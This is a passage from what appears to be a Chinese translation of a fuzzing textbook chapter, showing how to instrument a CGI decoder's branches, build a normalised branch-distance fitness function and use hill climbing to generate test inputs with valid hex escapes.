+*   分支的数量（我们将其保留在`branch_num`中），
+*   运算符（我们只使用其类名），
+*   左侧，以及
+*   右边。
+
+请注意，Python允许比较多个表达式（例如`1 < x < 10`）； 为了使代码保持简单，我们在这里仅处理单个比较，但是通过将每个比较与对`evaluate_condition`的单独调用进行处理，可以扩展代码。 您会注意到，我们还覆盖了`visit_FunctionDef`； 这只是通过添加`_instrumented`来更改方法的名称，以便我们可以继续将原始功能与已检测的功能一起使用。
+
+以下代码将`cgi_decode()`函数的源代码解析为AST，然后对其进行转换，然后再次打印出来（使用`astor`库中的`to_source()`函数）：
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+import [ast](https://docs.python.org/3/library/ast.html)
+import [astor](https://docs.python.org/3/library/astor.html)
+
+```
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import print_content
+
+```
+
+```py
+source = inspect.getsource(cgi_decode)
+node = ast.parse(source)
+BranchTransformer().visit(node)
+
+# Make sure the line numbers are ok before printing
+node = ast.fix_missing_locations(node)
+print_content(astor.to_source(node), '.py')
+
+```
+
+```py
+def cgi_decode_instrumented(s):
+    """Decode the CGI-encoded string `s`:
+ * replace "+" by " "
+ * replace "%xx" by the character with hex number xx.
+ Return the decoded string.  Raise `ValueError` for invalid inputs."""
+    hex_values = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6,
+        '7': 7, '8': 8, '9': 9, 'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14,
+        'f': 15, 'A': 10, 'B': 11, 'C': 12, 'D': 13, 'E': 14, 'F': 15}
+    t = ''
+    i = 0
+    while evaluate_condition(1, 'Lt', i, len(s)):
+        c = s[i]
+        if evaluate_condition(2, 'Eq', c, '+'):
+            t += '  '
+        elif evaluate_condition(3, 'Eq', c, '%'):
+            digit_high, digit_low = s[i + 1], s[i + 2]
+            i += 2
+            if evaluate_condition(4, 'In', digit_high, hex_values
+                ) and evaluate_condition(5, 'In', digit_low, hex_values):
+                v = hex_values[digit_high] * 16 + hex_values[digit_low]
+                t += chr(v)
+            else:
+                raise ValueError('Invalid encoding')
+        else:
+            t += c
+        i += 1
+    return t
+
+```
+
+要使用工具版本计算适应性值，我们需要再次编译工具AST，这是使用Python的`compile()`函数完成的。 然后，我们需要使已编译函数可访问，为此，首先要从`sys.modules`中检索当前模块，然后使用`exec`将已检测函数的已编译代码添加到当前模块的函数列表中。 此后，可以访问`cgi_decode_instrumented()`功能。
+
+```py
+def create_instrumented_function(f):
+    source = inspect.getsource(f)
+    node = ast.parse(source)
+    node = BranchTransformer().visit(node)
+
+    # Make sure the line numbers are ok so that it compiles
+    node = ast.fix_missing_locations(node)
+
+    # Compile and add the instrumented function to the current module
+    current_module = sys.modules[__name__]
+    code = compile(node, filename="<ast>", mode="exec")
+    exec(code, current_module.__dict__)
+
+```
+
+```py
+# Set up the global maps
+distances_true = {}
+distances_false = {}
+
+```
+
+```py
+# Create instrumented function
+# cgi_decode_instrumented = 
+create_instrumented_function(cgi_decode)
+
+```
+
+```py
+assert cgi_decode("Hello+Reader") == cgi_decode_instrumented("Hello+Reader")
+
+```
+
+```py
+cgi_decode_instrumented("Hello+Reader")
+
+```
+
+```py
+'Hello Reader'
+
+```
+
+```py
+distances_true
+
+```
+
+```py
+{1: 0, 2: 0, 3: 35}
+
+```
+
+```py
+distances_false
+
+```
+
+```py
+{1: 0, 2: 0, 3: 0}
+
+```
+
+从`distances_true`和`distances_false`映射中可以看出，条件1和2在`cgi_decode_instrumented`上执行时已评估为true和false，而条件3仅已评估为false。 这是预期的，因为进入并离开了while循环，并且输入字符串中只有一个空格，但没有`%`-字符。
+
+### 适用于创建有效十六进制输入的适应度函数
+
+例如，让我们以测试`cgi_decode()`的一部分来解码有效十六进制代码为目标。 这意味着我们要使条件1为真，2为假，3为真和4为真。 为了表示这样的路径，我们可以简单地总结出这些分支的分支距离。 但是，简单地总结分支距离存在潜在的问题：如果一个条件的距离取决于很大的值的比较，而另一种条件的距离取决于小值的计算，则很可能会改进大值 导致更好的适应性改善，从而使搜索产生偏见。 为避免这种情况，我们需要先将*归一化*分支距离，然后再将其相加。
+
+范围`[a, b]`的归一化函数将数字作为输入，并返回`>=a`和`<=b`的值。 该函数的重要之处在于，对于任何两个数字`x`和`y`，都需要通过规范化来保留顺序。 也就是说，如果为`x<y`，则还必须持有该`normalize(x) < normalize(y)`。 有许多不同的功能可以实现此结果。 一个简单的是`normalize(x) = x/(x+k)`：它在计算上很便宜，并且可以将`[0,1]`范围内的任何正值标准化（要将其更改为`[0,b]`，则只需乘以`b`即可）。 如果使用此归一化函数，我们还将知道最大值：`1.0`。 该函数假定要归一化的值为正。 因子`k`的值定义曲线的陡度。 例如，对于`k=1`（这是一个很好的默认值），曲线非常陡峭，其值迅速接近但从未达到`1`。
+
+```py
+def normalize(x):
+    return x / (1.0 + x)
+
+```
+
+要查看此归一化函数的工作方式，我们可以绘制一系列值。 x轴包含原始值，y轴显示相应的归一化值：
+
+```py
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+
+```
+
+```py
+fig = plt.figure()
+ax = plt.axes()
+
+x = range(100)
+y = [value / (value + 1.0) for value in x]
+ax.plot(x, y);
+
+```
+
+![](data:image/png;base64,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
+)
+
+使用此归一化功能，我们可以通过运行被测程序程序，然后将相关分支的归一化值相加来计算适应度值。 但是，并不是每个测试用例都会执行每个if语句。 什至没有执行的分支的分支距离是多少？ 我们需要确保甚至没有执行的分支的分支距离都大于执行期间观察到的任何分支距离。 给定归一化后，我们知道该最大值为1。因此，适应度函数可能如下所示：
+
+```py
+def get_fitness(x):
+    # Reset any distance values from previous executions
+    global distances_true, distances_false
+    distances_true = {}
+    distances_false = {}
+
+    # Run the function under test
+    try:
+        cgi_decode_instrumented(x)
+    except BaseException:
+        pass
+
+    # Sum up branch distances
+    fitness = 0.0
+    for branch in [1, 3, 4, 5]:
+        if branch in distances_true:
+            fitness += normalize(distances_true[branch])
+        else:
+            fitness += 1.0
+
+    for branch in [2]:
+        if branch in distances_false:
+            fitness += normalize(distances_false[branch])
+        else:
+            fitness += 1.0
+
+    return fitness
+
+```
+
+为了了解我们的仪器在运行中，让我们为几个示例输入计算适合度，逐渐接近目标。
+
+```py
+# Empty string does not even enter the loop
+get_fitness("")
+
+```
+
+```py
+4.5
+
+```
+
+```py
+# String contains no percentage character
+get_fitness("Hello+Reader")
+
+```
+
+```py
+2.9722222222222223
+
+```
+
+```py
+# String contains a percentage character, but no valid hex char
+get_fitness("%UU")
+
+```
+
+```py
+1.9230769230769231
+
+```
+
+```py
+# String contains a percentage character, but only one valid hex char
+get_fitness("%AU")
+
+```
+
+```py
+0.9230769230769231
+
+```
+
+```py
+# String contains a percentage character and two valid hex chars
+get_fitness("%AA")
+
+```
+
+```py
+0.0
+
+```
+
+### 爬坡有效十六进制输入
+
+现在，我们已经通过`neighbour_strings()`函数定义了搜索空间，并且派生了一个新的适应度函数，因此在将hillclimber应用到查找包含有效两位数十六进制代码的字符串的问题之前，剩下的唯一点是 得出一个随机的起点，您已经在 [MutationFuzzer章节](MutationFuzzer.html)中进行了此操作：
+
+```py
+def random_string(l):
+    s = ""
+    for i in range(l):
+        random_character = chr(random.randrange(32, 127))
+        s = s + random_character
+    return s
+
+```
+
+现在我们可以将它们放在一起，再次使用相同的爬山算法，只是使其生成随机字符串而不是数字，并使用新的适应性函数：
+
+```py
+def hillclimb_cgi():
+    x = random_string(10)
+    fitness = get_fitness(x)
+    print("Initial input: %s at fitness %.4f" % (x, fitness))
+
+    while fitness > 0:
+        changed = False
+        for (nextx) in neighbour_strings(x):
+            new_fitness = get_fitness(nextx)
+            if new_fitness < fitness:
+                x = nextx
+                fitness = new_fitness
+                changed = True
+                print("New value: %s at fitness %.4f" % (x, fitness))
+                break
+
+        # Random restart if necessary
+        if not changed:
+            x = random_string(10)
+            fitness = get_fitness(x)
+
+    print("Optimum at %s, fitness %.4f" % (x, fitness))
+
+```
+
+```py
+hillclimb_cgi()
+
+```
+
+```py
+Initial input: o'@[3(rW*M at fitness 2.6667
+New value: o&@[3(rW*M at fitness 2.5000
+New value: o%@[3(rW*M at fitness 1.5000
+New value: o%A[3(rW*M at fitness 0.8571
+New value: o%A\3(rW*M at fitness 0.8333
+New value: o%A]3(rW*M at fitness 0.8000
+New value: o%A^3(rW*M at fitness 0.7500
+New value: o%A_3(rW*M at fitness 0.6667
+New value: o%A`3(rW*M at fitness 0.5000
+New value: o%Aa3(rW*M at fitness 0.0000
+Optimum at o%Aa3(rW*M, fitness 0.0000
+
+```
+
+运行hillclimber几次，以查看它生成带有有效十六进制字符的字符串。 有时只需要几个步骤，有时就需要更长的时间，但是最后它总是可以解决问题并生成我们想要的字符串。
+
+## 进化搜索
+
+如果邻里很小，爬山的效果很好。 到目前为止，在`cgi_decode()`示例中就是这种情况，因为我们将自己限制为固定数量的字符（10），并将字符范围限制为可打印的ASCII字符。 但是想象一下，如果我们不寻找ASCII字符，而是寻找UTF-16 Unicode字符，会发生什么？ 确实不允许在URL中使用它们，但是让我们看看如果更改搜索空间会发生什么：
+
+```py
+def random_unicode_string(l):
+    s = ""
+    for i in range(l):
+        # Limits to reflect range of UTF-16
+        random_character = chr(random.randrange(0, 65536))
+        s = s + random_character
+    return s
+
+```
+
+```py
+def unicode_string_neighbours(x):
+    n = []
+    for pos in range(len(x)):
+        c = ord(x[pos])
+        # Limits to reflect range of UTF-16
+        if c < 65536:
+            n += [x[:pos] + chr(c + 1) + x[pos + 1:]]
+        if c > 0:
+            n += [x[:pos] + chr(c - 1) + x[pos + 1:]]
+
+    return n
+
+```
+
+UTF-8字符用16位表示，这为我们提供了65536个可能的字符范围。 以上功能适用于这些边界。 在再次运行爬坡器之前，让我们再做一个更改：我们将添加一个迭代限制，以便我们可以放弃搜索，而不是永远等待搜索完成。
+
+```py
+def terminal_repr(s):
+    return terminal_escape(repr(s))
+
+```
+
+```py
+def hillclimb_cgi_limited(max_iterations):
+    x = random_unicode_string(10)
+    fitness = get_fitness(x)
+    print("Initial input: %s at fitness %.4f" % (terminal_repr(x), fitness))
+
+    iteration = 0
+    logs = 0
+    while fitness > 0 and iteration < max_iterations:
+        changed = False
+        for (nextx) in unicode_string_neighbours(x):
+            new_fitness = get_fitness(nextx)
+            if new_fitness < fitness:
+                x = nextx
+                fitness = new_fitness
+                changed = True
+                if logs < LOG_VALUES:
+                    print("New value: %s at fitness %.4f" %
+                          (terminal_repr(x), fitness))
+                elif logs == LOG_VALUES:
+                    print("...")
+                logs += 1
+                break
+
+        # Random restart if necessary
+        if not changed:
+            x = random_string(10)
+            fitness = get_fitness(x)
+        iteration += 1
+
+    print("Optimum at %s, fitness %.4f" % (terminal_repr(x), fitness))
+
+```
+
+```py
+hillclimb_cgi_limited(100)
+
+```
+
+```py
+Initial input: '埂\udf19\uf67c듵騛쁥핡勸\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勷\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勶\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勵\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勴\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勳\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勲\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勱\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勰\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勯\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勮\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勭\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勬\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勫\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勪\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勩\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勨\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勧\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勦\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勥\uf172싕' at fitness 3.0000
+New value: '埂\udf19\uf67c듵騛쁥핡勤\uf172싕' at fitness 3.0000
+...
+Optimum at '埂\udf19\uf67c듵騛쁥핡劔\uf172싕', fitness 3.0000
+
+```
+
+您可以尝试迭代限制，并查看在此搜索空间中找到解决方案需要多长时间。 除非您对随机的起点感到幸运，否则通常会花费不合理的时间。
+
+### 全局搜索
+
